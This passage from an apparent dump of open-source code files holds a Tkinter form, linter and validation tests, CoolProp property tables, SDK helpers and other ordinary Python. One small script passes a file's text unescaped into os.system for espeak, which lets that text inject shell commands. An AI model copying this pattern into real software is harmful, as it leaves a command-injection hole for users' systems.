highlightbackground='red')\n\n elif nome and idade:\n self.db.nome = nome\n self.db.idade = idade\n\n self.db.cadastrar()\n self.db.mostrar()\n print(self.db.get_db()[self.db.id])\n\n # mostrando a confirmacao na tela do que foi salvo\n self.lb_aviso.config(text='cadastro feito com sucesso', fg='green')\n\n self.lb_id_confirmacao.config(text='Id: '+self.db.id, fg='green')\n self.lb_nome_confirmacao.config(\n text='Nome: '+self.db.get_db()[self.db.id]['nome'], fg='green')\n self.lb_idade_confirmacao.config(\n text='Idade: '+self.db.get_db()[self.db.id]['idade'], fg='green')\n\n self.lb_id_mostrar.config(text=self.db.get_nextId())\n\n # limpar todas as entradas/entry\n self.limpar_Entradas()\n\n else:\n self.lb_aviso.config(text='preencha todos os pontos', fg='red')\n\n \nclass Cadastro(Tk):\n \n def __init__(self):\n super().__init__()\n self.title('cadastro')\n self.geometry('407x200+651+300')\n\n self.frame = FrameCadastro(self)\n self.frame.grid()\n \n \n\nif __name__ == '__main__':\n cadastro = Cadastro()\n cadastro.mainloop()\n\n", "source": "jonasht/Python", "license": "MIT"} {"text": "# -*- coding: utf-8 -*-\n# Copyright (c) 2013-2018 Will Thames \n# Copyright (c) 2018 Ansible by Red Hat\n# Modified work Copyright (c) 2020 Warpnet B.V.\n\nimport unittest\n\nfrom saltlint.linter.collection import RulesCollection\nfrom saltlint.rules.YamlHasOctalValueRule import YamlHasOctalValueRule\nfrom tests import RunFromText\n\n\nGOOD_NUMBER_STATE = '''\ntestdirectory:\n file.recurse:\n - name: /tmp/directory\n - file_mode: 700\n - dir_mode: '0775'\n\ntestdirectory02:\n file.recurse:\n - name: /tmp/directory02\n - file_mode: 0\n - dir_mode: \"0775\"\n\n# Non-number values should be skipped, for more information see:\n# https://github.com/warpnet/salt-lint/issues/68\napache_disable_default_site:\n apache_site.disabled:\n - name: 000-default\n\n# MAC addresses shouldn't be matched, for more information see:\n# https://github.com/warpnet/salt-lint/issues/202\ninfoblox_remove_record:\n infoblox_host_record.absent:\n - mac: 4c:f2:d3:1b:2e:05\n'''\n\nBAD_NUMBER_STATE = '''\n# Unquoted octal values with leading zero's.\ntestdirectory:\n file.recurse:\n - name: /tmp/directory\n - file_mode: 00\n - dir_mode: 0700\n\n# Unquoted octal values with leading zero's followed by a YAML of Jinja\n# comment.\ntestdirectory:\n file.recurse:\n - name: /tmp/directory\n - file_mode: 00 # COMMENT\n - dir_mode:0700{# JINJA COMMENT #}\n'''\n\nclass TestYamlHasOctalValueRule(unittest.TestCase):\n collection = RulesCollection()\n\n def setUp(self):\n self.collection.register(YamlHasOctalValueRule())\n\n def test_statement_positive(self):\n runner = RunFromText(self.collection)\n results = runner.run_state(GOOD_NUMBER_STATE)\n self.assertEqual(0, len(results))\n\n def test_statement_negative(self):\n runner = RunFromText(self.collection)\n results = runner.run_state(BAD_NUMBER_STATE)\n self.assertEqual(4, len(results))\n", "source": "Chupaka/salt-lint", "license": "MIT"} {"text": "from CoolProp.HumidAirProp import HAPropsSI\nimport numpy as np\n\nprint ' Replicating the tables from ASHRAE RP-1485'\nprint ' '\nprint 'A.6.1 Psychrometric Properties of Moist Air at 0C and Below'\nprint 'Saturated air at 101.325 kPa'\ns5=' '*5\nprint '===================================================='\nprint \"{T:8s}{W:10s}{v:10s}{h:10s}{s:10s}\".format(W=s5+' Ws',v=s5+' v',h=s5+'h',s=s5+' s',T=' T')\nprint \"{T:8s}{W:10s}{v:10s}{h:10s}{s:10s}\".format(W=' kgw/kg_da',v=' m3/kgda',h=' kJ/kgda',s=' kJ/kgda/K',T=' C')\nprint '----------------------------------------------------'\nfor T in np.linspace(-60,0,13)+273.15:\n h = HAPropsSI('H','T',T,'R',1.0,'P',101325)/1000\n Twb = HAPropsSI('Twb','T',T,'R',1.0,'P',101325)-273.15\n W = HAPropsSI('W','T',T,'R',1.0,'P',101325)\n v = HAPropsSI('V','T',T,'R',1.0,'P',101325)\n s = HAPropsSI('S','T',T,'R',1.0,'P',101325)/1000\n print \"{T:8.0f}{W:10.7f}{v:10.4f}{h:10.3f}{s:10.4f}\".format(W=W,T=T-273.15,v=v,h=h,s=s)\nprint '===================================================='\nprint ' '\nprint 'A.6.2 Psychrometric Properties of Moist Air at 0C and Above'\nprint 'Saturated air at 101.325 kPa'\ns5=' '*5\nprint '===================================================='\nprint \"{T:8s}{W:10s}{v:10s}{h:10s}{s:10s}\".format(W=s5+' Ws',v=s5+' v',h=s5+'h',s=s5+' s',T=' T')\nprint \"{T:8s}{W:10s}{v:10s}{h:10s}{s:10s}\".format(W=' kgw/kg_da',v=' m3/kgda',h=' kJ/kgda',s=' kJ/kgda/K',T=' C')\nprint '----------------------------------------------------'\nfor T in np.linspace(0,90,19)+273.15:\n h=HAPropsSI('H','T',T,'R',1.0,'P',101325)/1000\n Twb=HAPropsSI('Twb','T',T,'R',1.0,'P',101325)-273.15\n W=HAPropsSI('W','T',T,'R',1.0,'P',101325)\n v=HAPropsSI('V','T',T,'R',1.0,'P',101325)\n s=HAPropsSI('S','T',T,'R',1.0,'P',101325)/1000\n print \"{T:8.0f}{W:10.7f}{v:10.3f}{h:10.2f}{s:10.4f}\".format(W=W,T=T-273.15,v=v,h=h,s=s)\nprint '===================================================='\nprint ' '\ndef HotAir(num):\n from CoolProp.HumidAirProp import HAPropsSI\n if num=='8':\n Temp=str(200)\n T=200+273.15\n elif num=='9':\n Temp=str(320)\n T=320+273.15\n print 'A.'+num+'.1 Psychrometric Properties of Moist Air at 101.325 kPa '\n print 'Dry Bulb temperature of '+Temp+'C'\n s5=' '*5\n print '================================================================'\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=s5+' W',Twb=s5+'Twb',v=s5+' v',h=s5+'h',s=s5+' s',R=s5+'RH')\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=' kgw/kg_da',Twb=' C',v=' m3/kgda',h=' kJ/kgda',s=' kJ/kgda/K',R=' %')\n print '----------------------------------------------------------------'\n for W in [0.0,0.05,0.1,0.20,0.30,0.40,0.50,0.60,0.70,0.80,0.90,1.0]:\n h=HAPropsSI('H','T',T,'W',W,'P',101325)/1000\n Twb=HAPropsSI('Twb','T',T,'W',W,'P',101325)-273.15\n R=HAPropsSI('R','T',T,'W',W,'P',101325)*100\n v=HAPropsSI('V','T',T,'W',W,'P',101325)\n s=HAPropsSI('S','T',T,'W',W,'P',101325)/1000\n print \"{W:10.2f}{Twb:10.2f}{v:10.3f}{h:10.2f}{s:10.4f}{R:10.4f}\".format(W=W,Twb=Twb,v=v,h=h,s=s,R=R)\n print '================================================================'\n print ' '\n print 'A.'+num+'.2 Psychrometric Properties of Moist Air at 1000 kPa '\n print 'Dry Bulb temperature of '+Temp+'C'\n print '================================================================'\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=s5+' W',Twb=s5+'Twb',v=s5+' v',h=s5+'h',s=s5+' s',R=s5+'RH')\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=' kgw/kg_da',Twb=' C',v=' m3/kgda',h=' kJ/kgda',s=' kJ/kgda/K',R=' %')\n print '----------------------------------------------------------------'\n for W in [0.0,0.05,0.1,0.20,0.30,0.40,0.50,0.60,0.70,0.80,0.90,1.0]:\n h=HAPropsSI('H','T',T,'W',W,'P',1000e3)/1000\n Twb=HAPropsSI('Twb','T',T,'W',W,'P',1000e3)-273.15\n R=HAPropsSI('R','T',T,'W',W,'P',1000e3)*100\n v=HAPropsSI('V','T',T,'W',W,'P',1000e3)\n s=HAPropsSI('S','T',T,'W',W,'P',1000e3)/1000\n print \"{W:10.2f}{Twb:10.2f}{v:10.3f}{h:10.2f}{s:10.4f}{R:10.4f}\".format(W=W,Twb=Twb,v=v,h=h,s=s,R=R)\n print '================================================================'\n print ' '\n s5=' '*5\n print 'A.'+num+'.3 Psychrometric Properties of Moist Air at 2000 kPa '\n print 'Dry Bulb temperature of '+Temp+'C'\n print '================================================================'\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=s5+' W',Twb=s5+'Twb',v=s5+' v',h=s5+'h',s=s5+' s',R=s5+'RH')\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=' kgw/kg_da',Twb=' C',v=' m3/kgda',h=' kJ/kgda',s=' kJ/kgda/K',R=' %')\n print '----------------------------------------------------------------'\n for W in [0.0,0.05,0.1,0.20,0.30,0.40,0.50,0.60,0.70,0.80,0.90,1.0]:\n h=HAPropsSI('H','T',T,'W',W,'P',2000e3)/1000\n Twb=HAPropsSI('Twb','T',T,'W',W,'P',2000e3)-273.15\n R=HAPropsSI('R','T',T,'W',W,'P',2000e3)*100\n v=HAPropsSI('V','T',T,'W',W,'P',2000e3)\n s=HAPropsSI('S','T',T,'W',W,'P',2000e3)/1000\n print \"{W:10.2f}{Twb:10.2f}{v:10.3f}{h:10.2f}{s:10.4f}{R:10.4f}\".format(W=W,Twb=Twb,v=v,h=h,s=s,R=R)\n print '================================================================'\n print ' '\n s5=' '*5\n print 'A.'+num+'.4 Psychrometric Properties of Moist Air at 5000 kPa '\n print 'Dry Bulb temperature of '+Temp+'C'\n print '================================================================'\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=s5+' W',Twb=s5+'Twb',v=s5+' v',h=s5+'h',s=s5+' s',R=s5+'RH')\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=' kgw/kg_da',Twb=' C',v=' m3/kgda',h=' kJ/kgda',s=' kJ/kgda/K',R=' %')\n print '----------------------------------------------------------------'\n if Temp=='200':\n Wrange = [0.0,0.05,0.1,0.15,0.20,0.25,0.30]\n else:\n Wrange = [0.0,0.05,0.1,0.15,0.20,0.25,0.30,0.4,0.5,0.6,0.7,0.8,0.9,1.0]\n for W in Wrange:\n h=HAPropsSI('H','T',T,'W',W,'P',5000e3)/1000\n Twb=HAPropsSI('Twb','T',T,'W',W,'P',5000e3)-273.15\n R=HAPropsSI('R','T',T,'W',W,'P',5000e3)*100\n v=HAPropsSI('V','T',T,'W',W,'P',5000e3)\n s=HAPropsSI('S','T',T,'W',W,'P',5000e3)/1000\n print \"{W:10.2f}{Twb:10.2f}{v:10.3f}{h:10.2f}{s:10.4f}{R:10.4f}\".format(W=W,Twb=Twb,v=v,h=h,s=s,R=R)\n print '================================================================' \n print ' '\n s5=' '*5\n print 'A.'+num+'.5 Psychrometric Properties of Moist Air at 10,000 kPa '\n print 'Dry Bulb temperature of '+Temp+'C'\n print '================================================================'\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=s5+' W',Twb=s5+'Twb',v=s5+' v',h=s5+'h',s=s5+' s',R=s5+'RH')\n print \"{W:10s}{Twb:10s}{v:10s}{h:10s}{s:10s}{R:10s}\".format(W=' kgw/kg_da',Twb=' C',v=' m3/kgda',h=' kJ/kgda',s=' kJ/kgda/K',R=' %')\n print '----------------------------------------------------------------'\n \n if Temp=='200':\n Wrange = [0.0,0.05,0.1]\n else:\n Wrange = [0.0,0.05,0.1,0.15,0.20,0.25,0.30,0.4,0.5,0.6,0.7,0.8,0.9,1.0]\n for W in Wrange:\n h=HAPropsSI('H','T',T,'W',W,'P',10000e3)/1000\n Twb=HAPropsSI('Twb','T',T,'W',W,'P',10000e3)-273.15\n R=HAPropsSI('R','T',T,'W',W,'P',10000e3)*100\n v=HAPropsSI('V','T',T,'W',W,'P',10000e3)\n s=HAPropsSI('S','T',T,'W',W,'P',10000e3)/1000\n print \"{W:10.2f}{Twb:10.2f}{v:10.3f}{h:10.2f}{s:10.4f}{R:10.4f}\".format(W=W,Twb=Twb,v=v,h=h,s=s,R=R)\n print '================================================================'\n\nHotAir('8')\nprint ' '\nHotAir('9')\n##############################\n#### Virial Coefficients #####\n##############################\n\ndef Virials(variables):\n from CoolProp.HumidAirProp import HAProps_Aux\n import numpy as np\n \n varString=\"%-10s\"%('T')\n units=\"%-10s\"%('C')\n #Build the header\n for var in variables:\n varString+=\"%-20s\"%(var)\n units+=\"%-20s\" %(HAProps_Aux(var,300,100,0.0)[1])\n print varString\n print units\n\n #Build the table\n for T in np.linspace(-60,200,27)+273.15:\n values=\"%-10.1f\" %(T-273.15)\n for var in variables:\n values+=\"%-20.10e\" %(HAProps_Aux(var,T,100,0.0)[0])\n print values\n\nprint \"\"\nprint \"Pure fluid Virial Coefficients\"\nprint \"------------------------------\"\nVirials(['Baa','Caaa','Bww','Cwww'])\nVirials(['Baw','Caaw','Caww'])\n\nprint \"\"\nprint \"Pure fluid Virial Coefficients Derivatives\"\nprint \"------------------------------------------\"\nVirials(['dBaa','dCaaa','dBww','dCwww'])\nVirials(['dBaw','dCaaw','dCaww'])\n\n\n##############################\n####### Water Saturation #####\n##############################\n\nprint \"\"\nprint \"Water saturation pressure p_ws [kPa]\"\nfrom CoolProp.HumidAirProp import HAProps_Aux\nimport numpy as np\nTv=np.linspace(-60,300,13)+273.15\nprint \"%-10s %-20s\"%('T','p_ws')\nprint \"%-10s %-20s\"%('C',HAProps_Aux('p_ws',Tv[-1],100,0.0)[1])\n#Build the table\nfor T in Tv:\n values=\"%-10.2f\" %(T-273.15)\n values+=\"%-20.10e\" %(HAProps_Aux('p_ws',T,100,0.0)[0])\n print values\n \n##############################\n####### Henry Constant #######\n##############################\n\nprint \"\"\nprint \"Henry Constant (zero for T < 273.15 K)\"\nfrom CoolProp.HumidAirProp import HAProps_Aux\nimport numpy as np\nTv=np.linspace(0,300,11)+273.16\nprint \"%-10s %-20s\"%('T','beta_H')\nprint \"%-10s %-20s\"%('C',HAProps_Aux('beta_H',Tv[-1],100,0.0)[1])\n#Build the table\nfor T in Tv:\n values=\"%-10.2f\" %(T-273.15)\n values+=\"%-20.10e\" %(HAProps_Aux('beta_H',T,100,0.0)[0])\n print values\n\n##########################################\n####### Isothermal Compressibility #######\n##########################################\n\nprint \"\"\nprint \"Isothermal Compressibility of water (kT) [1/Pa]\"\nfrom CoolProp.HumidAirProp import HAProps_Aux\nimport numpy as np\nTv=np.linspace(-60,300,13)+273.15\nPv=[101325,200000,500000,1000000]\nvariables=\"%-10s\"%('T')\nfor p in Pv:\n variables+=\"%-20s\"%(\"p = %-0.3f Pa \"%(p))\nprint variables\n#Build the actual table\nfor T in Tv:\n values=\"%-10.2f\" %(T-273.15)\n for p in Pv:\n values+=\"%-20.10e\" %(HAProps_Aux('kT',T,p,0.0)[0])\n print values\n \n##########################################\n####### Saturated Molar Volume Water #####\n##########################################\n\nprint \"\"\nprint \"Molar volume of saturated liquid water or ice (vbar_ws) [m^3/mol_H2O]\"\nfrom CoolProp.HumidAirProp import HAProps_Aux\nimport numpy as np\nTv=np.linspace(-60,300,13)+273.15\nPv=[101325,200000,500000,1000000]\nvariables=\"%-10s\"%('T')\nfor p in Pv:\n variables+=\"%-20s\"%(\"p = %-0.3f Pa \"%(p))\nprint variables\n#Build the actual table\nfor T in Tv:\n values=\"%-10.2f\" %(T-273.15)\n for p in Pv:\n values+=\"%-20.10e\" %(HAProps_Aux('vbar_ws',T,p,0.0)[0])\n print values\n \n##########################################\n########### Enhancement Factor ###########\n##########################################\n\nprint \"\"\nprint \"Enhancement factor (f) [no units]\"\nfrom CoolProp.HumidAirProp import HAProps_Aux\nimport numpy as np\nTv=np.array([-60,-40,-20,0,40,80,120,160,200,250,300,350])+273.15\nPv=[101325,200000,500000,1000000,10000000]\nvariables=\"%-10s\"%(u'T')\nfor p in Pv:\n variables+=\"%-20s\"%(\"p = %-0.3f Pa \"%(p))\nprint variables\n#Build the actual table\nfor T in Tv:\n values=\"%-10.2f\" %(T-273.15)\n for p in Pv:\n values+=\"%-20.10e\" %(HAProps_Aux('f',T,p,0.0)[0])\n print values", "source": "BENGAL-TIGER/CoolPropMDA", "license": "MIT"} {"text": "# ------------------------------------\n# Copyright (c) Microsoft Corporation.\n# Licensed under the MIT License.\n# ------------------------------------\n\n\nfrom ._models import (\n DetectLanguageInput,\n TextDocumentInput,\n _AnalyzeActionsType,\n)\n\n\ndef _validate_input(documents, hint, whole_input_hint):\n \"\"\"Validate that batch input has either all string docs\n or dict/DetectLanguageInput/TextDocumentInput, not a mix of both.\n Assign country and language hints on a whole batch or per-item\n basis.\n\n :param list documents: The input documents.\n :return: A list of DetectLanguageInput or TextDocumentInput\n \"\"\"\n if not documents:\n raise ValueError(\"Input documents can not be empty or None\")\n\n if isinstance(documents, str):\n raise TypeError(\"Input documents cannot be a string.\")\n\n if isinstance(documents, dict):\n raise TypeError(\"Input documents cannot be a dict\")\n\n if not all(isinstance(x, str) for x in documents):\n if not all(\n isinstance(x, (dict, TextDocumentInput, DetectLanguageInput))\n for x in documents\n ):\n raise TypeError(\n \"Mixing string and dictionary/object document input unsupported.\"\n )\n\n request_batch = []\n for idx, doc in enumerate(documents):\n if isinstance(doc, str):\n if hint == \"country_hint\" and whole_input_hint.lower() == \"none\":\n whole_input_hint = \"\"\n document = {\"id\": str(idx), hint: whole_input_hint, \"text\": doc}\n request_batch.append(document)\n if isinstance(doc, dict):\n item_hint = doc.get(hint, None)\n if item_hint is None:\n doc = {\n \"id\": doc.get(\"id\", None),\n hint: whole_input_hint,\n \"text\": doc.get(\"text\", None),\n }\n elif item_hint.lower() == \"none\":\n doc = {\n \"id\": doc.get(\"id\", None),\n hint: \"\",\n \"text\": doc.get(\"text\", None),\n }\n request_batch.append(doc)\n if isinstance(doc, TextDocumentInput):\n item_hint = doc.language\n if item_hint is None:\n doc = TextDocumentInput(\n id=doc.id, language=whole_input_hint, text=doc.text\n )\n request_batch.append(doc)\n if isinstance(doc, DetectLanguageInput):\n item_hint = doc.country_hint\n if item_hint is None:\n doc = DetectLanguageInput(\n id=doc.id, country_hint=whole_input_hint, text=doc.text\n )\n elif item_hint.lower() == \"none\":\n doc = DetectLanguageInput(id=doc.id, country_hint=\"\", text=doc.text)\n request_batch.append(doc)\n\n return request_batch\n\n\ndef _determine_action_type(action): # pylint: disable=too-many-return-statements\n if action.__class__.__name__ == \"EntitiesTask\":\n return _AnalyzeActionsType.RECOGNIZE_ENTITIES\n if action.__class__.__name__ == \"PiiTask\":\n return _AnalyzeActionsType.RECOGNIZE_PII_ENTITIES\n if action.__class__.__name__ == \"EntityLinkingTask\":\n return _AnalyzeActionsType.RECOGNIZE_LINKED_ENTITIES\n if action.__class__.__name__ == \"SentimentAnalysisTask\":\n return _AnalyzeActionsType.ANALYZE_SENTIMENT\n if action.__class__.__name__ == \"ExtractiveSummarizationTask\":\n return _AnalyzeActionsType.EXTRACT_SUMMARY\n if action.__class__.__name__ == \"CustomEntitiesTask\":\n return _AnalyzeActionsType.RECOGNIZE_CUSTOM_ENTITIES\n if action.__class__.__name__ == \"CustomSingleClassificationTask\":\n return _AnalyzeActionsType.SINGLE_CATEGORY_CLASSIFY\n if action.__class__.__name__ == \"CustomMultiClassificationTask\":\n return _AnalyzeActionsType.MULTI_CATEGORY_CLASSIFY\n return _AnalyzeActionsType.EXTRACT_KEY_PHRASES\n\n\ndef _check_string_index_type_arg(\n string_index_type_arg, api_version, string_index_type_default=\"UnicodeCodePoint\"\n):\n string_index_type = None\n\n if api_version == \"v3.0\":\n if string_index_type_arg is not None:\n raise ValueError(\n \"'string_index_type' is only available for API version V3_1 and up\"\n )\n\n else:\n if string_index_type_arg is None:\n string_index_type = string_index_type_default\n\n else:\n string_index_type = string_index_type_arg\n\n return string_index_type\n", "source": "kazrael2119/azure-sdk-for-python", "license": "MIT"} {"text": "import json\nfrom pathlib import Path\n\nimport pytest\nfrom bookmarks_converter.models import Bookmark, create_engine, sessionmaker\n\nROOT_DIR = Path(__file__).resolve().parent.parent\nDATA_DIR = ROOT_DIR.joinpath(\"data\")\n\n\n@pytest.fixture\ndef source_bookmark_files():\n files = {str(x.name): str(x) for x in DATA_DIR.glob(\"bookmarks_*\")}\n return files\n\n\n@pytest.fixture\ndef result_bookmark_files():\n files = {str(x.name): str(x) for x in DATA_DIR.glob(\"from_*\")}\n return files\n\n\n@pytest.fixture\ndef get_data_from_db():\n def _function(db_path, source):\n database_path = \"sqlite:///\" + str(db_path)\n engine = create_engine(database_path, encoding=\"utf-8\")\n Session = sessionmaker(bind=engine)\n session = Session()\n bookmarks = session.query(Bookmark).order_by(Bookmark.id).all()\n if source != None:\n root_date = session.query(Bookmark).filter_by(title=\"root\").one().date_added\n if source == \"Chrome\":\n folder_date = (\n session.query(Bookmark)\n .filter_by(title=\"Other Bookmarks\")\n .one()\n .date_added\n )\n elif source == \"Firefox\":\n folder_date = (\n session.query(Bookmark)\n .filter_by(title=\"Bookmarks Menu\")\n .one()\n .date_added\n )\n else:\n root_date = folder_date = None\n session.close()\n return bookmarks, root_date, folder_date\n\n return _function\n\n\n@pytest.fixture\ndef create_class_instance():\n def _function(data, class_):\n instance = class_()\n for key, value in data.items():\n if key == \"iconuri\":\n key = \"icon_uri\"\n setattr(instance, key, value)\n return instance\n\n return _function\n\n\n@pytest.fixture\ndef read_json():\n def _function(filepath):\n with open(filepath, \"r\", encoding=\"Utf-8\") as file_:\n jsondata = json.load(file_)\n return jsondata\n\n return _function\n\n\n@pytest.fixture\ndef url_chrome():\n return {\n \"date_added\": \"13244224395000000\",\n \"id\": \"1\",\n \"name\": \"Google\",\n \"type\": \"url\",\n \"url\": \"https://www.google.com\",\n }\n\n\n@pytest.fixture\ndef folder_chrome():\n return {\n \"children\": [],\n \"date_added\": \"13244233436520764\",\n \"date_modified\": \"0\",\n \"id\": \"2\",\n \"name\": \"Main Folder\",\n \"type\": \"folder\",\n }\n\n\n@pytest.fixture\ndef url_firefox():\n return {\n \"guid\": \"7TpRGhofxKDv\",\n \"title\": \"Google\",\n \"index\": 0,\n \"dateAdded\": 1599750431776000,\n \"lastModified\": 1599750431776000,\n \"id\": 2,\n \"typeCode\": 1,\n \"iconuri\": \"https://www.google.com/favicon.ico\",\n \"type\": \"text/x-moz-place\",\n \"uri\": \"https://www.google.com\",\n }\n\n\n@pytest.fixture\ndef folder_firefox():\n return {\n \"guid\": \"K3LUb7o0kSUt\",\n \"title\": \"Main Folder\",\n \"index\": 0,\n \"dateAdded\": 1599750431776000,\n \"lastModified\": 1599750431776000,\n \"id\": 1,\n \"typeCode\": 2,\n \"type\": \"text/x-moz-place-container\",\n \"children\": [],\n }\n\n\n@pytest.fixture\ndef url_custom():\n return {\n \"type\": \"url\",\n \"id\": 2,\n \"index\": 0,\n \"url\": \"https://www.google.com\",\n \"title\": \"Google\",\n \"date_added\": 0,\n \"icon\": None,\n \"iconuri\": \"https://www.google.com/favicon.ico\",\n \"tags\": None,\n }\n\n\n@pytest.fixture\ndef folder_custom():\n return {\n \"type\": \"folder\",\n \"id\": 1,\n \"index\": 0,\n \"title\": \"Main Folder\",\n \"date_added\": 0,\n \"children\": [],\n }\n", "source": "radam9/bookmarks_parser", "license": "MIT"} {"text": "import os\nimport sys\n\nname = sys.argv[1]\n\nwith open(name, 'r') as file:\n data = file.read().replace('\\n', '')\n\ndef robot(text):\n\tos.system(\"espeak -s 130 ' \" + text + \" ' \")\n\nrobot(data)\n", "source": "joseignaciodg/theHOC-Application", "license": "MIT"} {"text": "from pydantic import BaseModel # pylint: disable=no-name-in-module\n\n\nclass ImmutableModel(BaseModel):\n class Config:\n allow_mutation = False\n\n\nclass DictCompatibleModel(BaseModel):\n \"\"\"Backwards compatible wrapper where we transform dictionaries into Pydantic Models\n\n Allows us to access model.key with model[\"key\"].\n \"\"\"\n\n def __getitem__(self, key):\n return getattr(self, key)\n", "source": "scaleapi/nucleus-python-client", "license": "MIT"} {"text": "print('hello world')\nprint(\"hello world\")\nprint(\"hello \\nworld\")\nprint(\"hello \\tworld\")\nprint('length=',len('hello')) # len returns the length of the string\nmystring=\"python\" # assigning value python to variable mystring\nprint(mystring) # it returns python\n# Indexing\nprint('the element at Index[0]=',mystring[0]) # it returns 'p' because P is at 0\nprint('the element at Index[3]=',mystring[3]) # it returns 'h'\n# Slicing\nprint('the elements starting at Index[0] and it goes upto Index[4]',mystring[0:4]) \n # it returns 'pyth'In slicing it goes upto but not include\nprint('start at Index[3] and goes upto Index[5]',mystring[3:5]) # it returns 'ho'\nprint(mystring[::2]) # it returns 'pto'", "source": "aaavinash85/Python", "license": "MIT"} {"text": "import unittest\nimport CountPairs as cp\n\nclass CountPairsTest(unittest.TestCase):\n\n def test_distinct(self):\n arr = [1,2,3,4,5,6];\n k = 5;\n self.assertEqual(2, cp.countPairs(arr, k));\n\n def test_duplicates(self):\n arr = [2,2,2];\n k = 4;\n self.assertEqual(3, cp.countPairs(arr, k));\n\n def test_large(self):\n arr = [];\n for i in range(1, 100001):\n arr.append(i)\n k = 4;\n self.assertEqual(1, cp.countPairs(arr, k));\n\nif __name__ == '__main__':\n unittest.main()\n", "source": "felixs8696/code-hub", "license": "MIT"} {"text": "import pytest\nfrom nomenclature import DataStructureDefinition\n\nfrom conftest import TEST_DATA_DIR\n\n\nMATCH_FAIL_VALIDATION = \"The validation failed. Please check the log for details.\"\n\n\ndef test_validation(simple_definition, simple_df):\n \"\"\"A simple validation passes as expected\"\"\"\n simple_definition.validate(simple_df)\n\n\ndef test_validation_dimensionless_unit(simple_definition, simple_df):\n \"\"\"Assert that validating against a dimensionless quantity\"\"\"\n mapping = dict(variable={\"Primary Energy|Coal\": \"Share|Coal\"}, unit={\"EJ/yr\": \"\"})\n simple_df.rename(mapping, inplace=True)\n\n simple_definition.validate(simple_df)\n\n\ndef test_validation_fails_variable(simple_definition, simple_df):\n \"\"\"Changing a variable name raises\"\"\"\n simple_df.rename(variable={\"Primary Energy\": \"foo\"}, inplace=True)\n\n with pytest.raises(ValueError, match=MATCH_FAIL_VALIDATION):\n simple_definition.validate(simple_df)\n\n\ndef test_validation_fails_unit(simple_definition, simple_df):\n \"\"\"Changing a unit raises\"\"\"\n simple_df.rename(unit={\"EJ/yr\": \"GWh/yr\"}, inplace=True)\n\n with pytest.raises(ValueError, match=MATCH_FAIL_VALIDATION):\n simple_definition.validate(simple_df)\n\n\ndef test_validation_fails_region(simple_definition, simple_df):\n \"\"\"Changing a region name raises\"\"\"\n simple_df.rename(region={\"World\": \"foo\"}, inplace=True)\n\n with pytest.raises(ValueError, match=MATCH_FAIL_VALIDATION):\n simple_definition.validate(simple_df)\n\n\ndef test_validation_fails_region_as_int(simple_definition, simple_df):\n \"\"\"Using a region name as integer raises the expected error\"\"\"\n simple_df.rename(region={\"World\": 1}, inplace=True)\n\n with pytest.raises(ValueError, match=MATCH_FAIL_VALIDATION):\n simple_definition.validate(simple_df)\n\n\ndef test_validation_with_custom_dimension(simple_df):\n \"\"\"Check validation with a custom DataStructureDefinition dimension\"\"\"\n\n definition = DataStructureDefinition(\n TEST_DATA_DIR / \"custom_dimension_nc\",\n dimensions=[\"region\", \"variable\", \"scenario\"],\n )\n\n # validating against all dimensions fails (\"scen_c\" not in [\"scen_a\", \"scenario_b\"])\n with pytest.raises(ValueError, match=MATCH_FAIL_VALIDATION):\n definition.validate(simple_df.rename(scenario={\"scen_a\": \"scen_c\"}))\n\n # validating against specific dimensions works (in spite of conflict in \"scenario\")\n definition.validate(\n simple_df.rename(scenario={\"scen_a\": \"scen_c\"}),\n dimensions=[\"region\", \"variable\"],\n )\n\n # validating against all dimensions works\n definition.validate(simple_df)\n", "source": "danielhuppmann/nomenclature-1", "license": "Apache-2.0"} {"text": "# ===============================================================================\n# Copyright 2019 ross\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# ===============================================================================\nfrom pyface.constant import OK\nfrom pyface.directory_dialog import DirectoryDialog\nfrom pyface.file_dialog import FileDialog\nfrom traits.api import HasTraits\n\nfrom pychron.paths import paths\n\n\nclass BaseFS(HasTraits):\n def open_file_dialog(self, **kw):\n \"\"\"\n \"\"\"\n return self._file_dialog('open', **kw)\n\n def save_file_dialog(self, **kw):\n \"\"\"\n \"\"\"\n return self._file_dialog('save as', **kw)\n\n def open_directory_dialog(self, **kw):\n return self._directory_dialog(False, **kw)\n\n def save_directory_dialog(self, **kw):\n return self._directory_dialog(True)\n\n # private\n def _directory_dialog(self, new_directory, **kw):\n dlg = DirectoryDialog(new_directory=new_directory, **kw)\n if dlg.open() == OK:\n return dlg.path\n\n def _file_dialog(self, action, **kw):\n \"\"\"\n \"\"\"\n if 'default_directory' not in kw:\n kw['default_directory'] = paths.home\n\n dlg = FileDialog(action=action, **kw)\n if dlg.open() == OK:\n return dlg.path\n\n# ============= EOF =============================================\n", "source": "ael-noblegas/pychron", "license": "Apache-2.0"} {"text": "# _*_ coding: utf-8 _*_\n\"\"\"\n Created by lr on 2019/08/28.\n\"\"\"\nfrom sqlalchemy import Column, Integer, SmallInteger,String, Float, Text\n\nfrom app.models.base import Base\n\n__author__ = 'lr'\n\nclass Order(Base):\n\tid = Column(Integer, primary_key=True, autoincrement=True)\n\torder_no = Column(String(20), unique=True)\n\tuser_id = Column(Integer)\n\ttotal_price = Column(Float)\n\torder_status = Column(SmallInteger, default=1)\n\tsnap_img = Column(String(255))\n\tsnap_name = Column(String(80))\n\ttotal_count = Column(Integer)\n\tsnap_items = Column(Text)\n\tsnap_address = Column(String(500))\n\tprepay_id = Column(String(100), unique=True)\n\n\tdef 